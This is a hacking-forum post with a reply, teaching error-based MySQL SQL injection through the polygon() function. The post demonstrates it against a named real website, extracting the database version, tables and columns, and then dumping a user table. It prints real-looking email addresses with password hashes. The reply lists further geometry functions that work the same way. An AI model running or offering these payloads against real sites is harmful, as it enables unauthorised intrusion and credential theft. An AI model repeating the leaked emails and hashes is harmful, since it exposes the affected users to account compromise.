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nacks

You have SQLi in your polygons

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Posted

This method based on the function polygon().

In a nutshell, this function constructs geometry collection.

The vuln thing about it, that it can only work with the function point().

For example:

SELECT polygon(point(53,12));

And the output is a bunch of ???'s.

Not really exciting, ah ?

For those who know a bit geometry, it goes like point(x,y).

Now look whats happend when we dont use point().

SELECT polygon(53,12);
Error 1367 (22007): Illegal non geometric '53' value found during parsing

yF2L4lm.png

We get an error on our x argument, 53.

So lets think a bit.

If the error returns our string input as an string output, what would happend if we try to run a query ?

SELECT polygon((select*from(select*from(select@@version)f)x));
Error 1367 (22007): Illegal non geometric '(select `x`.`@@version` from (select '5.5.38-35.2' AS `@@version` from dual) `x`)' value found during parsing

Boom ! 5.5.38-35.2

AuWb3Pg.png

Now lets try that on a real site.

Conditions:

mysql_error on.

Lets get the version:

http://www.thepernodship.co.uk/users/view.php?id=polygon((select*from(select*from(select@@version)f)x))

5.1.73-log

ltJUkJH.png

Nice, but can we extract more ?

Hell yeah.

We will be using this to get tables:

http://www.thepernodship.co.uk/users/view.php?id=polygon((select*from(select*from(select group_concat(table_name) from information_schema.tables where table_schema=database())f)x))

blocklist,log_login,pernodmajorwinners,pernodmanagement,pernodmatches,pernodmess?ages,pernodnews,pernodpolls,pernodtopics,pernoduser

znylQXa.png

Im interested in the table pernoduser, lets get columns:

http://www.thepernodship.co.uk/users/view.php?id=polygon((select*from(select*from(select group_concat(column_name) from information_schema.columns where table_name='pernoduser' )f)x))

pernodid,nickname,fullname,forumname,password,email,handicap,p_dbl,p_sgl,login,forumnotify,deleted

mpUmyDy.png

And dump the table:

http://www.thepernodship.co.uk/users/view.php?id=polygon((select*from(select*from(select group_concat(email,0x3a,password) from pernoduser)f)x))

and.rogers@tiscali.co.uk:22fdf94cc29e7aff8ece472ed119c53e,butters65@hotmail.co.u?k:795b087b2ceb3482dc9956eb8f126ea3

FT2QqJ4.png

And we get the data.

To overpower the 'cut results', we can just add a condition in the end, " where email>last-email ".

Hope you learned something !

Sursa: HF + Frostyhacks

  • Upvote 2
Posted (edited)

Criminala metoda :)))

Cred ca mai sunt functii de genu in mysql care parseaza subquery-ul si dupa il pusca in eroare.

Pe 5.6.* nu functioneaza , cred ca functioneaza pe versiuni mai mici , cred...

Tnks for share

The same shit cu


MULTIPOLYGON((select*from(select*from(select@@version)y)x))

MULTILINESTRING

GEOMETRYCOLLECTION

Edited by botulnr2

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